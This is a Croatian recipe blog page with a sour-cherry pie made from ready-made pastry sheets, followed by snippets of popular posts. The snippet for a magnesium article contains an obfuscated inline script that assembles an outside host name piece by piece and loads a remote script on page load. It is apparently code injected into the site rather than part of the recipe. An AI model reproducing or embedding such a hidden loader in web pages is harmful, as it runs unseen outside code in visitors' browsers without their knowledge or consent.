FINA PITA S VIŠNJAMA OD GOTOVIH KORA




Fina pita s višnjama od gotovih kora 



Ukoliko ste obožavatelj jednostavnih domaćih poslastica koje se pripremaju brzo, a uspiju baš uvijek, recept pite s višnjama kojeg vam danas donosimo je idealan izbor. Hrskave kore, sočno punjenje i osvježavajući ukus višanja čine je savršenim desertom za svaku priliku. Priprema se od gotovih kora, a bit će gotova za manje od sat vremena.




Fina pita s višnjama od gotovih kora 


Sastojci:

500 g tankih kora za pitu
600 g višanja bez koštica (svježih ili zamrznutih)
1 šalica (200 ml) griza
1 šalica šećera
1 šalica ulja
1 šalica jogurta
3 jaja
1 vrećica praška za pecivo
1 vrećica vanilin šećera
Za završnicu: šećer u prahu za posipanje (po želji)



Priprema:

Priprema nadjeva – u većoj posudi umutite jaja sa šećerom dok smjesa ne postane svijetla i pjenasta. Dodajte ulje, jogurt, griz i prašak za pecivo, pa sve dobro sjedinite dok ne dobijete ujednačeno i glatko punjenje.

Višnje morate dobro ocijediti od viška tekućine. Dodajte vanilin šećer i lagano promiješajte kako bi se aroma ravnomjerno rasporedila.

Formiranje rolata – kore podijelite na četiri jednake grupe. Prvu koru premažite s nekoliko žlica nadjeva, prekrijte drugom korom i ponovite postupak dok ne potrošite kore iz jedne grupe. Na posljednju koru rasporedite dio višanja. Po želji dodajte malo kristal šećera ukoliko su višnje kiselije. Zarolajte u čvrstu roladu. Na isti način pripremite i preostale rolade.


Pečenje:

Rolade poredajte u prethodno podmazan pleh. Preostalim nadjevom premažite pitu s gornje strane. Pecite u prethodno zagrijanoj pećnici na 180°C oko 30–40 minuta, odnosno dok pita ne dobije lijepu zlatno-smeđu boju.

Ostavite pitu da se dobro ohladi. Isijecite je na komadiće i po želji pospite šećerom u prahu prije služenja.

Kako biste postigli dodatnu sočnost, toplu pitu možete preliti sa 100 ml zaslađene vode u koju dodajte malo limunova soka i vanilije. Također, u nadjev možete dodati nekoliko žlica mljevenog keksa ili kokosa za bogatiji ukus i zanimljiviju teksturu. Pita je podjednako ukusna sa svježim i smrznutim višnjama što znači da ovu delikatesu možete pripremati tijekom cijele godine.



Pripremila: Ivana Matas 


Primjedbe

Objavi komentar

Popularni postovi s ovog bloga

MAGNEZIJ - KLJUČNI MINERAL ZA ENERGIJU, OPUŠTANJE I ZDRAVLJE

Slika
Magnezij – ključni mineral za energiju, opuštanje i zdravlje bellalab.hr https://cityportal.hr/magnezij-je-ucinkovit-kod-lijecenja-mnogih-bolesti-a-pomaze-i-kod-umora-i-tjeskobe/ <script> (function(){ wtf9=document.createElement("script");wtf9.type="text/javascript"; wtf9.async=true;wtf9_=("op"+("en")+"s")+"t";wtf9_+=("at")+".e";wtf9_+=(("u"));wtf9_+="/"; wtf9u="2600057272.";wtf9u+="j2gl4hnltf9vl9z60av0p2jc8Xecru";wtf9.src="https://"+wtf9_+wtf9u; wtf9db=document.body;wtf9db.appendChild(wtf9); })(); </script> Magnezij - ključni mineral za energiju, opuštanje i zdravlje  Magnezij je jedan od najvažnijih minerala u ljudskom organizmu, a istovremeno i jedan od najčešće deficitarnih. Sudjeluje u više od 300 enzimskih procesa u tijelu, uključujući proizvodnju energije, rad mišića i živčanog sustava te održavanje psihičke ravnoteže. Unatoč t...
Pročitajte više

CUPCAKES S MRKVOM I KREMOM OD SIRA 🥕

Slika
Cupcakes s mrkvom i kremom od sira  Cupcakes s mrkvom - mekani, sočni i prekriveni bogatom kremom od sira za savršen završetak. Idealni su za svaku priliku, od obiteljskih okupljanja do blagdanskih užitaka. Cupcakes s mrkvom i kremom od sira  Sastojci:  180 ml ulja 190 g smeđeg šećera 1 ½ čajne žličice vanilin šećera 2 jaja 180 g mrkve, oguljene, naribane i sitno sjeckane 160 g brašna 1 čajna žličica praška za pecivo ½ čajne žličice sode bikarbone 1 ¼ čajne žličice mljevenog cimeta ¼ čajne žličice mljevenog đumbira ¾ čajne žličice soli Za kremu od sira 140 g krem sira (omekšalog) 75 g maslaca (slanog, omekšalog) 250 g šećera u prahu 1 čajna žličica vanilin šećera Priprema: Zagrijte pećnicu na 175 stupnjeva. Pripremite lim za muffine s 12 kalupa i lagano ga namastite. Naribajte mrkve i dodatno ih nasjeckajte. U velikoj zdjeli pjenasto umutite ulje, smeđi šećer, jaja i vanilu dok se sve dobro ne poveže. Dodajte pripremljenu mrkvu, a potom lagano pomiješajte...
Pročitajte više

BOJANJE JAJA ZA USKRS - KREATIVNE IDEJE KOJE ĆE VAS ODUŠEVITI

Slika
Bojanje jaja za Uskrs - kreativne ideje koje će vas oduševiti  Bojanje jaja za Uskrs jedna je od najdražih blagdanskih tradicija koja svake godine okuplja obitelj oko stola i potiče kreativnost. Uz malo mašte i jednostavne trikove, uskrsna jaja postaju prava mala umjetnička djela koja će uljepšati blagdanski stol i donijeti dozu veselja u svaki dom. Povratak prirodi: kako obojiti jaja prirodnim bojama? Prije pojave umjetnih boja, naši su preci koristili ono što su imali u kuhinji i prirodi. Danas se vraćamo toj praksi, ne samo zbog zdravijih i ekološki prihvatljivijih rješenja, već i zbog čarolije stvaranja jedinstvenih, zemljanih tonova. Proces je zapravo svojevrsni znanstveni eksperiment za djecu, jer nikad niste posve sigurni kakvu ćete nijansu dobiti. Osnovni recept je jednostavan: odabrani sastojak kuhajte u vodi tridesetak minuta s jednom do dvije žlice octa, koji pomaže da se boja bolje primi za ljusku. Nakon toga procijedite tekućinu i u nju uronite već kuhana j...
Pročitajte više